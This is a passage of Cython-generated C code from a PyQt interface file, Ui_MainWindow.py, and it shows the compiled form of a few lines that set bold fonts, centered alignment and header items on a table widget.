__Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":911 * font.setBold(True) * font.setWeight(75) * item.setFont(font) # <<<<<<<<<<<<<< * self.TM_T_passage.setHorizontalHeaderItem(1, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setFont); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 911, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_font); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 911, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 911, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 911, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 911, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_font); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 911, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":912 * font.setWeight(75) * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(1, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 912, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 912, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_1, __pyx_v_item}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 912, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_4, __pyx_int_1, __pyx_v_item}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 912, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 912, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_4) { __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_4); __pyx_t_4 = NULL; } __Pyx_INCREF(__pyx_int_1); __Pyx_GIVEREF(__pyx_int_1); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_int_1); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_v_item); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 912, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":913 * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(1, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 913, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 913, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 913, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 913, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":914 * self.TM_T_passage.setHorizontalHeaderItem(1, item) * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setBold(True) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setTextAlignment); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 914, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 914, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 914, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_AlignCenter); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 914, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_4) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 914, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 914, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_6}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 914, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 914, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 914, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":915 * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setBold(True) * font.setWeight(75) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 915, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFont); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 915, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 915, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 915, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":916 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setBold); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 916, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__572, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 916, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":917 * font = QtGui.QFont() * font.setBold(True) * font.setWeight(75) # <<<<<<<<<<<<<< * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(2, item) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setWeight); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 917, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__573, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 917, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":918 * font.setBold(True) * font.setWeight(75) * item.setFont(font) # <<<<<<<<<<<<<< * self.TM_T_passage.setHorizontalHeaderItem(2, item) * item = QtWidgets.QTableWidgetItem() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setFont); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 918, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_v_font); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 918, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 918, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_v_font}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 918, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 918, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_INCREF(__pyx_v_font); __Pyx_GIVEREF(__pyx_v_font); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_v_font); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_6, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 918, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":919 * font.setWeight(75) * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(2, item) # <<<<<<<<<<<<<< * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_TM_T_passage); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 919, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setHorizontalHeaderItem); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 919, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_2, __pyx_v_item}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 919, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_int_2, __pyx_v_item}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 919, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); } else #endif { __pyx_t_9 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 919, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); if (__pyx_t_7) { __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_7); __pyx_t_7 = NULL; } __Pyx_INCREF(__pyx_int_2); __Pyx_GIVEREF(__pyx_int_2); PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_int_2); __Pyx_INCREF(__pyx_v_item); __Pyx_GIVEREF(__pyx_v_item); PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_v_item); __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_9, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 919, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":920 * item.setFont(font) * self.TM_T_passage.setHorizontalHeaderItem(2, item) * item = QtWidgets.QTableWidgetItem() # <<<<<<<<<<<<<< * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 920, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QTableWidgetItem); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 920, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_9))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (__pyx_t_6) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 920, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 920, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF_SET(__pyx_v_item, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":921 * self.TM_T_passage.setHorizontalHeaderItem(2, item) * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) # <<<<<<<<<<<<<< * font = QtGui.QFont() * font.setBold(True) */ __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_v_item, __pyx_n_s_setTextAlignment); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 921, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 921, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_Qt); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 921, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_AlignCenter); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 921, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_9, function); } } if (!__pyx_t_7) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_9, __pyx_t_6); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 921, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 921, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_6}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 921, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 921, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_4, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 921, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":922 * item = QtWidgets.QTableWidgetItem() * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() # <<<<<<<<<<<<<< * font.setBold(True) * font.setWeight(75) */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtGui); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 922, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QFont); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 922, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (__pyx_t_9) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_9); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 922, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 922, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF_SET(__pyx_v_font, __pyx_t_1); __pyx_t_1 = 0; /* "Ui_MainWindow.py":923 * item.setTextAlignment(QtCore.Qt.AlignCenter) * font = QtGui.QFont() * font.setBold(True) # <<<<<<<<<<<<<< * font.setWeight(75) * item.setFont(font) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_font, __pyx_n_s_setBold); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 923, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__574, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 923, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); 